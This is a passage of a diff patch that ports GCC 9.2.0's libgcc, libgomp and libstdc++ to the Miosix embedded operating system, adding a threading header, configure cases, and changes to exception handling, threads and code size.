++#define __gthread_active_p() 1 ++ ++typedef pthread_t __gthread_t; ++typedef pthread_key_t __gthread_key_t; //This actually is unimplemented ++typedef pthread_once_t __gthread_once_t; ++typedef pthread_mutex_t __gthread_mutex_t; ++typedef pthread_mutex_t __gthread_recursive_mutex_t; ++typedef pthread_cond_t __gthread_cond_t; ++typedef struct timespec __gthread_time_t; ++ ++#define __GTHREAD_ONCE_INIT PTHREAD_ONCE_INIT ++#define __GTHREAD_MUTEX_INIT PTHREAD_MUTEX_INITIALIZER ++#define __GTHREAD_MUTEX_INIT_FUNCTION __gthread_mutex_init_function ++#define __GTHREAD_RECURSIVE_MUTEX_INIT PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP ++#define __GTHREAD_RECURSIVE_MUTEX_INIT_FUNCTION __gthread_recursive_mutex_init_function ++#define __GTHREAD_COND_INIT PTHREAD_COND_INITIALIZER ++#define __GTHREAD_COND_INIT_FUNCTION __gthread_cond_init_function ++#define __GTHREAD_TIME_INIT {0,0} ++ ++#define __gthread_once pthread_once ++#define __gthread_mutex_destroy pthread_mutex_destroy ++#define __gthread_recursive_mutex_destroy pthread_mutex_destroy ++#define __gthread_cond_destroy pthread_cond_destroy ++#define __gthread_mutex_lock pthread_mutex_lock ++#define __gthread_mutex_trylock pthread_mutex_trylock ++#define __gthread_mutex_unlock pthread_mutex_unlock ++#define __gthread_recursive_mutex_lock pthread_mutex_lock ++#define __gthread_recursive_mutex_trylock pthread_mutex_trylock ++#define __gthread_recursive_mutex_unlock pthread_mutex_unlock ++#define __gthread_cond_signal pthread_cond_signal ++#define __gthread_cond_broadcast pthread_cond_broadcast ++#define __gthread_cond_wait pthread_cond_wait ++#define __gthread_cond_wait_recursive pthread_cond_wait ++#define __gthread_join pthread_join ++#define __gthread_detach pthread_detach ++#define __gthread_equal pthread_equal ++#define __gthread_self pthread_self ++#define __gthread_yield sched_yield ++ ++//These actually aren't implemented in Miosix, so code trying to use these will ++//fail to link, and for now it's the "desired" behaviour (better than failing ++//at runtime, at least). They are used somewhere in libstdc++ too, but it can ++//be patched to remove those uses. ++#define __gthread_key_create pthread_key_create ++#define __gthread_key_delete pthread_key_delete ++#define __gthread_getspecific pthread_getspecific ++#define __gthread_setspecific pthread_setspecific ++#define __gthread_mutex_timedlock pthread_mutex_timedlock ++#define __gthread_recursive_mutex_timedlock pthread_mutex_timedlock ++#define __gthread_cond_timedwait pthread_cond_timedwait ++ ++static inline void __gthread_mutex_init_function(__gthread_mutex_t *__mutex) ++{ ++ pthread_mutex_init(__mutex, NULL); ++} ++ ++static inline void __gthread_recursive_mutex_init_function(__gthread_recursive_mutex_t *__mutex) ++{ ++ //Defined in newlib patches for Miosix ++ __lock_init_recursive(*__mutex); ++} ++ ++static inline void __gthread_cond_init_function(__gthread_cond_t *__cond) ++{ ++ pthread_cond_init(__cond, NULL); ++} ++ ++static inline int __gthread_create(__gthread_t *__thrd, void *(*__func)(void*), void *__args) ++{ ++ return pthread_create(__thrd, NULL, __func, __args); ++} ++ ++#endif //GCC_GHTR_MIOSIX_H +diff -ruN gcc-9.2.0-old/libgcc/configure gcc-9.2.0/libgcc/configure +--- gcc-9.2.0-old/libgcc/configure 2018-10-31 18:03:16.000000000 +0100 ++++ gcc-9.2.0/libgcc/configure 2025-01-24 23:55:01.691116338 +0100 +@@ -5543,6 +5543,7 @@ + aix) thread_header=config/rs6000/gthr-aix.h ;; + dce) thread_header=config/pa/gthr-dce.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +diff -ruN gcc-9.2.0-old/libgcc/unwind-arm-common.inc gcc-9.2.0/libgcc/unwind-arm-common.inc +--- gcc-9.2.0-old/libgcc/unwind-arm-common.inc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libgcc/unwind-arm-common.inc 2025-01-24 23:55:01.691116338 +0100 +@@ -46,14 +46,18 @@ + ctm_succeeded_with_ptr_to_base = 2 + }; + +-void __attribute__((weak)) __cxa_call_unexpected(_Unwind_Control_Block *ucbp); +-bool __attribute__((weak)) __cxa_begin_cleanup(_Unwind_Control_Block *ucbp); +-enum __cxa_type_match_result __attribute__((weak)) __cxa_type_match ++// Also declaring function prototypes weak seems to trigger the generation of ++// R_ARM_REL32. This only happens with a test program that does not throw ++// exceptions such as a main.cpp with just a printf() compiled without ++// -fno-exceptions for now, we'll just remove weak ++void /*__attribute__((weak))*/ __cxa_call_unexpected(_Unwind_Control_Block *ucbp); ++bool /*__attribute__((weak))*/ __cxa_begin_cleanup(_Unwind_Control_Block *ucbp); ++enum __cxa_type_match_result /*__attribute__((weak))*/ __cxa_type_match + (_Unwind_Control_Block *ucbp, const type_info *rttip, + bool is_reference, void **matched_object); + +-_Unwind_Ptr __attribute__((weak)) +-__gnu_Unwind_Find_exidx (_Unwind_Ptr, int *); ++//_Unwind_Ptr __attribute__((weak)) ++//__gnu_Unwind_Find_exidx (_Unwind_Ptr, int *); + + #define EXIDX_CANTUNWIND 1 + #define uint32_highbit (((_uw) 1) << 31) +@@ -205,7 +209,15 @@ + instruction itself. */ + return_address -= 2; + +- if (__gnu_Unwind_Find_exidx) ++ //TODO: #ifdef _MIOSIX does not work in this context ++ /* ++ * Apparently checking the address of a weak symbol does not work in Miosix ++ * processes, as we get ++ * libgcc.a(unwind-arm.o): relocation R_ARM_REL32 against external or undefined symbol `__gnu_Unwind_Find_exidx' can not be used when making a PIE executable; recompile with -fPIC ++ * unwind-arm-common.inc:237:(.text+0x138): dangerous relocation: unsupported relocation ++ * Since in Miosix we have __exidx_start|end, just remove this code ++ */ ++ /*if (__gnu_Unwind_Find_exidx) + { + eitp = (const __EIT_entry *) __gnu_Unwind_Find_exidx (return_address, + &nrec); +@@ -216,10 +228,10 @@ + } + } + else +- { ++ {*/ + eitp = &__exidx_start; + nrec = &__exidx_end - &__exidx_start; +- } ++ //} + + eitp = search_EIT_table (eitp, nrec, return_address); + +diff -ruN gcc-9.2.0-old/libgcc/unwind-sjlj.c gcc-9.2.0/libgcc/unwind-sjlj.c +--- gcc-9.2.0-old/libgcc/unwind-sjlj.c 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libgcc/unwind-sjlj.c 2025-01-24 23:55:01.691116338 +0100 +@@ -91,7 +91,14 @@ + _Unwind_Personality_Fn personality; + } _Unwind_FrameState; + +- ++ ++// RATIONALE: _Miosix_set_sjlj_ptr and _Miosix_get_sjlj_ptr make ++// exception handling thread-safe even if Miosix does not support TLS ++// NOTE: C++ uses exception support is in eh_globals.cc, is there any code that ++// triggers these to be called? Otherwise we may either keep them if Miosix ++// will support architectures with sjlj exceptions, or even remove this patch ++#ifndef _MIOSIX ++ + /* Manage the chain of registered function contexts. */ + + /* Single threaded fallback chain. */ +@@ -163,6 +170,32 @@ + fc_static = fc; + } + ++#else //_MIOSIX ++ ++void _Miosix_set_sjlj_ptr(void* ptr); ++void *_Miosix_get_sjlj_ptr(); ++ ++void ++_Unwind_SjLj_Register (struct SjLj_Function_Context *fc) ++{ ++ fc->prev=_Miosix_get_sjlj_ptr(); ++ _Miosix_set_sjlj_ptr(fc); ++} ++ ++static inline struct SjLj_Function_Context * ++_Unwind_SjLj_GetContext (void) ++{ ++ return _Miosix_get_sjlj_ptr(); ++} ++ ++static inline void ++_Unwind_SjLj_SetContext (struct SjLj_Function_Context *fc) ++{ ++ _Miosix_set_sjlj_ptr(fc); ++} ++ ++#endif //_MIOSIX ++ + void + _Unwind_SjLj_Unregister (struct SjLj_Function_Context *fc) + { +diff -ruN gcc-9.2.0-old/libgomp/config/posix/omp-lock.h gcc-9.2.0/libgomp/config/posix/omp-lock.h +--- gcc-9.2.0-old/libgomp/config/posix/omp-lock.h 2008-06-06 15:01:54.000000000 +0200 ++++ gcc-9.2.0/libgomp/config/posix/omp-lock.h 2025-01-24 23:56:29.334969234 +0100 +@@ -8,7 +8,9 @@ + thread than the one that called pthread_mutex_lock. */ + + #include ++#ifndef HAVE_BROKEN_POSIX_SEMAPHORES + #include ++#endif + + typedef pthread_mutex_t omp_lock_25_t; + typedef struct { pthread_mutex_t lock; int count; } omp_nest_lock_25_t; +diff -ruN gcc-9.2.0-old/libgomp/config/posix/sem.h gcc-9.2.0/libgomp/config/posix/sem.h +--- gcc-9.2.0-old/libgomp/config/posix/sem.h 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libgomp/config/posix/sem.h 2025-01-24 23:56:29.334969234 +0100 +@@ -38,7 +38,9 @@ + # pragma GCC visibility push(default) + #endif + ++#ifndef HAVE_BROKEN_POSIX_SEMAPHORES + #include ++#endif + + #ifdef HAVE_ATTRIBUTE_VISIBILITY + # pragma GCC visibility pop +diff -ruN gcc-9.2.0-old/libgomp/configure gcc-9.2.0/libgomp/configure +--- gcc-9.2.0-old/libgomp/configure 2019-08-12 09:40:32.000000000 +0200 ++++ gcc-9.2.0/libgomp/configure 2025-01-24 23:56:29.338969232 +0100 +@@ -15842,6 +15842,11 @@ + $as_echo "#define HAVE_BROKEN_POSIX_SEMAPHORES 1" >>confdefs.h + + ;; ++ *-miosix*) ++ ++$as_echo "#define HAVE_BROKEN_POSIX_SEMAPHORES 1" >>confdefs.h ++ ++ ;; + esac + + # RTEMS specific checks +diff -ruN gcc-9.2.0-old/libgomp/configure.ac gcc-9.2.0/libgomp/configure.ac +--- gcc-9.2.0-old/libgomp/configure.ac 2019-08-12 09:40:32.000000000 +0200 ++++ gcc-9.2.0/libgomp/configure.ac 2025-01-24 23:56:29.338969232 +0100 +@@ -227,6 +227,10 @@ + AC_DEFINE(HAVE_BROKEN_POSIX_SEMAPHORES, 1, + Define if the POSIX Semaphores do not work on your system.) + ;; ++ *-miosix*) ++ AC_DEFINE(HAVE_BROKEN_POSIX_SEMAPHORES, 1, ++ Define if the POSIX Semaphores do not work on your system.) ++ ;; + esac + + # RTEMS specific checks +diff -ruN gcc-9.2.0-old/libgomp/configure.tgt gcc-9.2.0/libgomp/configure.tgt +--- gcc-9.2.0-old/libgomp/configure.tgt 2018-11-08 18:13:04.000000000 +0100 ++++ gcc-9.2.0/libgomp/configure.tgt 2025-01-24 23:56:29.338969232 +0100 +@@ -157,6 +157,10 @@ + config_path="nvptx" + ;; + ++ *-miosix-*) ++ config_path="posix" ++ ;; ++ + *-*-rtems*) + # Use self-contained synchronization objects if provided by Newlib + if test "x$ac_cv_type_struct__Mutex_Control" = xyes ; then +diff -ruN gcc-9.2.0-old/libstdc++-v3/configure gcc-9.2.0/libstdc++-v3/configure +--- gcc-9.2.0-old/libstdc++-v3/configure 2019-07-03 23:09:13.000000000 +0200 ++++ gcc-9.2.0/libstdc++-v3/configure 2025-01-24 23:55:01.719116259 +0100 +@@ -15419,6 +15419,7 @@ + aix) thread_header=config/rs6000/gthr-aix.h ;; + dce) thread_header=config/pa/gthr-dce.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +@@ -20886,6 +20887,23 @@ + ac_has_nanosleep=yes + ac_has_sched_yield=yes + ;; ++ esac ++ ++ # apparently the miosix in arm-miosix-eabi is ${target_vendor} ++ case "${target_vendor}" in ++ miosix*) ++ # Rationale: src/c++11/chrono.cc src/c++11/thread.cc include/std/thread ++ # need to target the best syscalls for querying the time and sleeping, ++ # which are ++ # clock_gettime(CLOCK_REALTIME, &tp); //starting Jan 1st, 1970 ++ # clock_gettime(CLOCK_MONOTONIC, &tp); //starting @ boot ++ # clock_nanosleep(CLOCK_MONOTONIC, 0, &__ts, &__ts); ++ # clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &__ts, &__ts); ++ ac_has_clock_realtime=yes ++ ac_has_clock_monotonic=yes ++ ac_has_nanosleep=yes ++ ac_has_sched_yield=yes ++ ;; + esac + + elif test x"$enable_libstdcxx_time" != x"no"; then +diff -ruN gcc-9.2.0-old/libstdc++-v3/include/bits/basic_string.h gcc-9.2.0/libstdc++-v3/include/bits/basic_string.h +--- gcc-9.2.0-old/libstdc++-v3/include/bits/basic_string.h 2019-04-24 17:17:53.000000000 +0200 ++++ gcc-9.2.0/libstdc++-v3/include/bits/basic_string.h 2025-01-25 00:02:21.179860596 +0100 +@@ -6538,43 +6538,84 @@ + { return __gnu_cxx::__stoa(&std::strtold, "stold", __str.c_str(), __idx); } + #endif // _GLIBCXX_USE_C99_STDLIB + ++// ++// Patch rationale: use newlib-specific version of vsnprintf to save code size ++// NOTE: enabling patch only if _DEFAULT_SOURCE not to break #include ++// when compiling with -std=c++17 (or any -std=c++XX) and not explicitly adding ++// -D_DEFAULT_SOURCE=1 to the build options ++// ++ + #if _GLIBCXX_USE_C99_STDIO + // NB: (v)snprintf vs sprintf. + + // DR 1261. + inline string + to_string(int __val) ++#if !defined(_MIOSIX) || !defined(_DEFAULT_SOURCE) + { return __gnu_cxx::__to_xstring(&std::vsnprintf, 4 * sizeof(int), + "%d", __val); } ++#else ++ { return __gnu_cxx::__to_xstring(&vsniprintf, 4 * sizeof(int), ++ "%d", __val); } ++#endif + + inline string + to_string(unsigned __val) ++#if !defined(_MIOSIX) || !defined(_DEFAULT_SOURCE) + { return __gnu_cxx::__to_xstring(&std::vsnprintf, + 4 * sizeof(unsigned), + "%u", __val); } ++#else ++ { return __gnu_cxx::__to_xstring(&vsniprintf, ++ 4 * sizeof(unsigned), ++ "%u", __val); } ++#endif + + inline string + to_string(long __val) ++#if !defined(_MIOSIX) || !defined(_DEFAULT_SOURCE) + { return __gnu_cxx::__to_xstring(&std::vsnprintf, 4 * sizeof(long), + "%ld", __val); } ++#else ++ { return __gnu_cxx::__to_xstring(&vsniprintf, 4 * sizeof(long), ++ "%ld", __val); } ++#endif + + inline string + to_string(unsigned long __val) ++#if !defined(_MIOSIX) || !defined(_DEFAULT_SOURCE) + { return __gnu_cxx::__to_xstring(&std::vsnprintf, + 4 * sizeof(unsigned long), + "%lu", __val); } ++#else ++ { return __gnu_cxx::__to_xstring(&vsniprintf, ++ 4 * sizeof(unsigned long), ++ "%lu", __val); } ++#endif + + inline string + to_string(long long __val) ++#if !defined(_MIOSIX) || !defined(_DEFAULT_SOURCE) + { return __gnu_cxx::__to_xstring(&std::vsnprintf, + 4 * sizeof(long long), + "%lld", __val); } ++#else ++ { return __gnu_cxx::__to_xstring(&vsniprintf, ++ 4 * sizeof(long long), ++ "%lld", __val); } ++#endif + + inline string + to_string(unsigned long long __val) ++#if !defined(_MIOSIX) || !defined(_DEFAULT_SOURCE) + { return __gnu_cxx::__to_xstring(&std::vsnprintf, + 4 * sizeof(unsigned long long), + "%llu", __val); } ++#else ++ { return __gnu_cxx::__to_xstring(&vsniprintf, ++ 4 * sizeof(unsigned long long), ++ "%llu", __val); } ++#endif + + inline string + to_string(float __val) +diff -ruN gcc-9.2.0-old/libstdc++-v3/include/bits/basic_string.tcc gcc-9.2.0/libstdc++-v3/include/bits/basic_string.tcc +--- gcc-9.2.0-old/libstdc++-v3/include/bits/basic_string.tcc 2019-01-05 00:23:22.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/include/bits/basic_string.tcc 2025-01-24 23:55:01.723116248 +0100 +@@ -1596,6 +1596,15 @@ + return __in; + } + ++/* ++ * Disabling instantiation of std::string from user code forces the use of ++ * the instantiation in string-inst.cc which may reduce compile ++ * times but it hardcodes that C++ exceptions are enabled causing code bloat, as ++ * arm-miosix-eabi-objdump -t string-inst.o | grep '\*UND\*.*__cxa' ++ * shows. ++ */ ++#ifndef _MIOSIX ++ + // Inhibit implicit instantiations for required instantiations, + // which are defined via explicit instantiations elsewhere. + #if _GLIBCXX_EXTERN_TEMPLATE +@@ -1649,6 +1658,8 @@ + #endif // _GLIBCXX_USE_WCHAR_T + #endif // _GLIBCXX_EXTERN_TEMPLATE + ++#endif //_MIOSIX ++ + _GLIBCXX_END_NAMESPACE_VERSION + } // namespace std + +diff -ruN gcc-9.2.0-old/libstdc++-v3/include/bits/fstream.tcc gcc-9.2.0/libstdc++-v3/include/bits/fstream.tcc +--- gcc-9.2.0-old/libstdc++-v3/include/bits/fstream.tcc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/include/bits/fstream.tcc 2025-01-24 23:55:01.723116248 +0100 +@@ -80,7 +80,12 @@ + basic_filebuf<_CharT, _Traits>:: + basic_filebuf() : __streambuf_type(), _M_lock(), _M_file(&_M_lock), + _M_mode(ios_base::openmode(0)), _M_state_beg(), _M_state_cur(), +- _M_state_last(), _M_buf(0), _M_buf_size(BUFSIZ), ++ _M_state_last(), _M_buf(0), ++#ifndef _MIOSIX ++ _M_buf_size(BUFSIZ), ++#else ++ _M_buf_size(BUFSIZ+1), //By TFT: BUFSIZ+1 to optimize reads/writes ++#endif + _M_buf_allocated(false), _M_reading(false), _M_writing(false), _M_pback(), + _M_pback_cur_save(0), _M_pback_end_save(0), _M_pback_init(false), + _M_codecvt(0), _M_ext_buf(0), _M_ext_buf_size(0), _M_ext_next(0), +diff -ruN gcc-9.2.0-old/libstdc++-v3/include/std/condition_variable gcc-9.2.0/libstdc++-v3/include/std/condition_variable +--- gcc-9.2.0-old/libstdc++-v3/include/std/condition_variable 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/include/std/condition_variable 2025-01-24 23:55:01.723116248 +0100 +@@ -78,12 +78,32 @@ + public: + typedef __native_type* native_handle_type; + ++/* ++ * This patch works together with the one in src/c++11/condition_variable.cc ++ */ ++#ifndef _MIOSIX ++ + condition_variable() noexcept; + ~condition_variable() noexcept; ++ ++#else //_MIOSIX ++ ++ #ifndef __GTHREAD_COND_INIT ++ #error shouldn't fail ++ #endif ++ // __GTHREAD_COND_INIT is defined in Miosix, nothing to do ++ condition_variable() noexcept = default; ++ // pthread_cond_destroy isn't needed in Miosix, and even the original ++ // libstdc++ code doesnt't handle EBUSY anyway ++ ~condition_variable() noexcept = default; ++ ++#endif //_MIOSIX + + condition_variable(const condition_variable&) = delete; + condition_variable& operator=(const condition_variable&) = delete; + ++#ifndef _MIOSIX ++ + void + notify_one() noexcept; + +@@ -92,6 +112,31 @@ + + void + wait(unique_lock& __lock) noexcept; ++ ++#else //_MIOSIX ++ ++ void ++ notify_one() noexcept ++ { ++ int __e = __gthread_cond_signal(&_M_cond); ++ if (__e) __throw_system_error(__e); ++ } ++ ++ void ++ notify_all() noexcept ++ { ++ int __e = __gthread_cond_broadcast(&_M_cond); ++ if (__e) __throw_system_error(__e); ++ } ++ ++ void ++ wait(unique_lock& __lock) noexcept ++ { ++ int __e = __gthread_cond_wait(&_M_cond, __lock.mutex()->native_handle()); ++ if (__e) std::terminate(); ++ } ++ ++#endif //_MIOSIX + + template + void +diff -ruN gcc-9.2.0-old/libstdc++-v3/include/std/thread gcc-9.2.0/libstdc++-v3/include/std/thread +--- gcc-9.2.0-old/libstdc++-v3/include/std/thread 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/include/std/thread 2025-01-24 23:55:01.723116248 +0100 +@@ -50,6 +50,11 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + ++ // Patch rationale: _M_start_thread needs this ++#ifdef _MIOSIX ++ extern "C" void* execute_native_thread_routine(void* __p); ++#endif ++ + /** + * @defgroup threads Threads + * @ingroup concurrency +@@ -83,6 +88,11 @@ + + explicit + id(native_handle_type __id) : _M_thread(__id) { } ++ ++ // Patch rationale: join() and detach() patches need this ++#ifdef _MIOSIX ++ native_handle_type _M_get() const noexcept { return _M_thread; } ++#endif + + private: + friend class thread; +@@ -162,11 +172,42 @@ + joinable() const noexcept + { return !(_M_id == id()); } + ++#ifndef _MIOSIX + void + join(); + + void + detach(); ++#else ++ //Patch rationale: compiling these in libstdc++.a pulls in exceptions ++ void ++ join() ++ { ++ int __e = EINVAL; ++ ++ if (_M_id._M_get() != id()._M_get()) ++ __e = __gthread_join(_M_id._M_thread, 0); ++ ++ if (__e) ++ __throw_system_error(__e); ++ ++ _M_id = id(); ++ } ++ ++ void ++ detach() ++ { ++ int __e = EINVAL; ++ ++ if (_M_id._M_get() != id()._M_get()) ++ __e = __gthread_detach(_M_id._M_thread); ++ ++ if (__e) ++ __throw_system_error(__e); ++ ++ _M_id = id(); ++ } ++#endif + + thread::id + get_id() const noexcept +@@ -195,8 +236,22 @@ + _M_run() { _M_func(); } + }; + ++#ifndef _MIOSIX + void + _M_start_thread(_State_ptr, void (*)()); ++#else ++ //Patch rationale: compiling this in libstdc++.a pulls in exceptions ++ void ++ _M_start_thread(_State_ptr state, void (*)()) ++ { ++ const int err = __gthread_create(&_M_id._M_thread, ++ &execute_native_thread_routine, ++ state.get()); ++ if (err) ++ __throw_system_error(err); ++ state.release(); ++ } ++#endif + + template + static _State_ptr +@@ -375,8 +430,14 @@ + static_cast(__s.count()), + static_cast(__ns.count()) + }; ++ //Patch rationale: use Miosix preferred sleep function ++#ifdef _MIOSIX ++ while (::clock_nanosleep(CLOCK_MONOTONIC, 0, &__ts, &__ts) == -1 && errno == EINTR) ++ { } ++#else //_MIOISX + while (::nanosleep(&__ts, &__ts) == -1 && errno == EINTR) + { } ++#endif //_MIOSIX + #else + __sleep_for(__s, __ns); + #endif +@@ -387,6 +448,20 @@ + inline void + sleep_until(const chrono::time_point<_Clock, _Duration>& __atime) + { ++ //Patch rationale: do not add skew by converting absolute sleep to relative ++#ifdef _MIOSIX ++ auto __rtime = __atime.time_since_epoch(); ++ auto __s = chrono::duration_cast(__rtime); ++ auto __ns = chrono::duration_cast(__rtime - __s); ++ __gthread_time_t __ts = ++ { ++ static_cast(__s.count()), ++ static_cast(__ns.count()) ++ }; ++ clockid_t __clk = _Clock::is_steady ? CLOCK_MONOTONIC : CLOCK_REALTIME; ++ while (::clock_nanosleep(__clk, TIMER_ABSTIME, &__ts, &__ts) == -1 && errno == EINTR) ++ { } ++#else //_MIOSIX + auto __now = _Clock::now(); + if (_Clock::is_steady) + { +@@ -399,6 +474,7 @@ + sleep_for(__atime - __now); + __now = _Clock::now(); + } ++#endif //_MIOSIX + } + } + +diff -ruN gcc-9.2.0-old/libstdc++-v3/libsupc++/bad_array_length.cc gcc-9.2.0/libstdc++-v3/libsupc++/bad_array_length.cc +--- gcc-9.2.0-old/libstdc++-v3/libsupc++/bad_array_length.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/libsupc++/bad_array_length.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -48,9 +48,18 @@ + + } // namespace std + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace __cxxabiv1 { + +-extern "C" void ++extern "C" void AW + __cxa_throw_bad_array_length () + { _GLIBCXX_THROW_OR_ABORT(std::bad_array_length()); } + +diff -ruN gcc-9.2.0-old/libstdc++-v3/libsupc++/eh_alloc.cc gcc-9.2.0/libstdc++-v3/libsupc++/eh_alloc.cc +--- gcc-9.2.0-old/libstdc++-v3/libsupc++/eh_alloc.cc 2019-01-21 12:47:30.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/libsupc++/eh_alloc.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -73,6 +73,14 @@ + # define EMERGENCY_OBJ_COUNT 4 + #endif + ++//RATIONALE: reduced emergency buffer for ARM microcontrollers, saves RAM ++#ifdef _MIOSIX ++# undef EMERGENCY_OBJ_SIZE ++# undef EMERGENCY_OBJ_COUNT ++# define EMERGENCY_OBJ_SIZE 160 ++# define EMERGENCY_OBJ_COUNT 3 ++#endif ++ + namespace __gnu_cxx + { + void __freeres(); +diff -ruN gcc-9.2.0-old/libstdc++-v3/libsupc++/eh_aux_runtime.cc gcc-9.2.0/libstdc++-v3/libsupc++/eh_aux_runtime.cc +--- gcc-9.2.0-old/libstdc++-v3/libsupc++/eh_aux_runtime.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/libsupc++/eh_aux_runtime.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -29,14 +29,23 @@ + #include "unwind-cxx.h" + #include + +-extern "C" void ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ ++extern "C" void AW + __cxxabiv1::__cxa_bad_cast () + { _GLIBCXX_THROW_OR_ABORT(std::bad_cast()); } + +-extern "C" void ++extern "C" void AW + __cxxabiv1::__cxa_bad_typeid () + { _GLIBCXX_THROW_OR_ABORT(std::bad_typeid()); } + +-extern "C" void ++extern "C" void AW + __cxxabiv1::__cxa_throw_bad_array_new_length () + { _GLIBCXX_THROW_OR_ABORT(std::bad_array_new_length()); } +diff -ruN gcc-9.2.0-old/libstdc++-v3/libsupc++/eh_globals.cc gcc-9.2.0/libstdc++-v3/libsupc++/eh_globals.cc +--- gcc-9.2.0-old/libstdc++-v3/libsupc++/eh_globals.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/libsupc++/eh_globals.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -41,6 +41,11 @@ + + using namespace __cxxabiv1; + ++// RATIONALE: __cxa_get_globals() and __cxa_get_globals_fast() have been made ++// Miosix syscalls since the __cxa_eh_globals struct needs to be provided on ++// a per-thread basis but Miosix does not support TLS ++#ifndef _MIOSIX ++ + #if _GLIBCXX_HAVE_TLS + + namespace +@@ -157,3 +162,5 @@ + #endif + + #endif ++ ++#endif //_MIOSIX +diff -ruN gcc-9.2.0-old/libstdc++-v3/libsupc++/eh_terminate.cc gcc-9.2.0/libstdc++-v3/libsupc++/eh_terminate.cc +--- gcc-9.2.0-old/libstdc++-v3/libsupc++/eh_terminate.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/libsupc++/eh_terminate.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -37,6 +37,15 @@ + } + #endif + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + using namespace __cxxabiv1; + + void +@@ -51,7 +60,7 @@ + { std::abort (); } + } + +-void ++void AW + std::terminate () throw() + { + __terminate (get_terminate ()); +@@ -64,7 +73,7 @@ + std::terminate (); + } + +-void ++void AW + std::unexpected () + { + __unexpected (get_unexpected ()); +diff -ruN gcc-9.2.0-old/libstdc++-v3/libsupc++/guard.cc gcc-9.2.0/libstdc++-v3/libsupc++/guard.cc +--- gcc-9.2.0-old/libstdc++-v3/libsupc++/guard.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/libsupc++/guard.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -190,6 +190,11 @@ + // | _GLIBCXX_GUARD_WAITING_BIT) and some other threads are waiting until + // it is initialized. + ++// RATIONALE: __cxa_guard_[acquire|release|abort] have been made Miosix syscalls ++// as static object initialization can occur also before the kernel is started, ++// therefore at a time when using pthread_mutexe and pthread_cond is unsafe. ++#ifndef _MIOSIX ++ + namespace __cxxabiv1 + { + #ifdef _GLIBCXX_USE_FUTEX +@@ -425,3 +430,5 @@ + #endif + } + } ++ ++#endif //_MIOSIX +diff -ruN gcc-9.2.0-old/libstdc++-v3/libsupc++/pure.cc gcc-9.2.0/libstdc++-v3/libsupc++/pure.cc +--- gcc-9.2.0-old/libstdc++-v3/libsupc++/pure.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/libsupc++/pure.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -43,14 +43,23 @@ + # define writestr(str) /* Empty */ + #endif + +-extern "C" void ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ ++extern "C" void AW + __cxxabiv1::__cxa_pure_virtual (void) + { + writestr ("pure virtual method called\n"); + std::terminate (); + } + +-extern "C" void ++extern "C" void AW + __cxxabiv1::__cxa_deleted_virtual (void) + { + writestr ("deleted virtual method called\n"); +diff -ruN gcc-9.2.0-old/libstdc++-v3/libsupc++/vterminate.cc gcc-9.2.0/libstdc++-v3/libsupc++/vterminate.cc +--- gcc-9.2.0-old/libstdc++-v3/libsupc++/vterminate.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/libsupc++/vterminate.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -31,13 +31,33 @@ + #include + # include + ++#include ++ + using namespace std; + using namespace abi; + ++// RATIONALE: add __attribute__((weak)) to make __verbose_terminate_handler ++// overridable to save the code size of __cxa_demangle ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace __gnu_cxx + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + ++ // XXX: having trouble overriding weak functions in Miosix processes, ++ // and this function is increasing code size significantly, replacing it ++ void AW __verbose_terminate_handler() ++ { ++ write(1,"terminate called\n",17); ++ _exit(1); ++ } ++ ++#if 0 ++ + // A replacement for the standard terminate_handler which prints + // more information about the terminating 